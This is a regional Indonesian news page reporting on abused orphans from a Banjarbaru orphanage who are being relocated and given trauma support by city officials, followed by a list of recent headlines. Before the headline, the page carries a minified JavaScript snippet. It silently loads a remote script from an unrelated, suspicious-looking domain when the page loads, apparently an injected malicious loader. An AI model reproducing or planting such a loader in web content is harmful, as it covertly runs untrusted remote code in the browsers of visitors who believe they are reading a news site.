(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Trauma Para Anak Yatim Korban Kekerasan Pengelola Panti Asuhan di Mentaos


KANALKALIMANTAN.COM, BANJARBARU – Para korban dugaan penganiayaan oleh pengelola panti asuhan Griya Yatim Dhuafa di Jalan Pangeran Suriansyah Ujung, Kelurahan Mentaos, Kota Banjarbaru dalam pendampingan Dinas Pengendalian Penduduk Keluarga Berencana Pemberdayaan Masyarakat Perempuan dan Perlindungan Anak (DPPKBPMPPA) Kota Banjarbaru.

Langkah yang diambil DPPKBPMPPA Kota Banjarbaru memindahkan ke panti asuhan lain dan memantau psikologis seluruh anak yang menjadi korban penganiayaan tersebut.

Kepala DPPKBPMPPA Kota Banjarbaru, Sri Lailana mengatakan setelah pihaknya melakukan kunjungan ke tempat baru, para anak yatim korban penganiayaan sudah mulai menyesuaikan dengan tempat baru yg yang mereka tinggali.

“Alhamdulillah, anak-anak sudah mulai merasa nyaman dengan tempat baru,” ujarnya.

 

 

Baca juga: Manupi, Ngopi di Alam Sambil Kaki Berendam di Kolam

Disebutkan Sri Lailana pihaknya terus melakukan pendampingan guna menghilangkan trauma mereka yang didapat dari pengelola panti asuhan Griya Yatim Dhuafa.

Diungkapkannya, terkait pendidikan yang akan mereka terima, pihaknya sudah melakukan koordinasi kepada pihak sekolah dan Dinas Pendidikan Kota Banjarbaru.

“Sekolah memberikan kelonggaran, sambil menunggu pemulihan trauma si anak ini,” ungkapnya.

Kepala DPPKBPMPPA Kota Banjarbaru, Sri Lailan. foto: ibnu

Walaupun demikian kata Sri Lailana pihaknya masih menunggu perkembangan anak-anak yang menjadi korban dugaan penganiayaan ini, jika memungkinkan dalam beberapa hari kedepan anak-anak bisa langsung masuk sekolah.

Baca juga: Rumah Yatim di Mentaos Banjarbaru Berhenti Total, Pengelola Meringkuk di Penjara

Masih kata Sri Lailana, disinggung terkait salah satu anak yang tinggal bersama keluarganya, DPPKBPMPPA Kota Banjarbaru tetap melakukan pendampingan.

“Kami juga mencari informasi terhadap anak ini, selain trauma kabarnya anak ini menderita penyakit lain,” katanya.

Lebih jauh terkait penyakit yang diderita anak ini, DPKBPMPPA Kota Banjarbaru akan melakukan pemeriksaan terkait penyakit yang diderita anak ini, pihak panti baru tidak bisa menampung anak tersebut dengan alasan penyakit itu, sehingga anak ini untuk sementara kembali kepada keluarganya.

“Kita akan koordinasi dengan tenaga kesehatan, terkait penyakitnya itu,” tuntasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.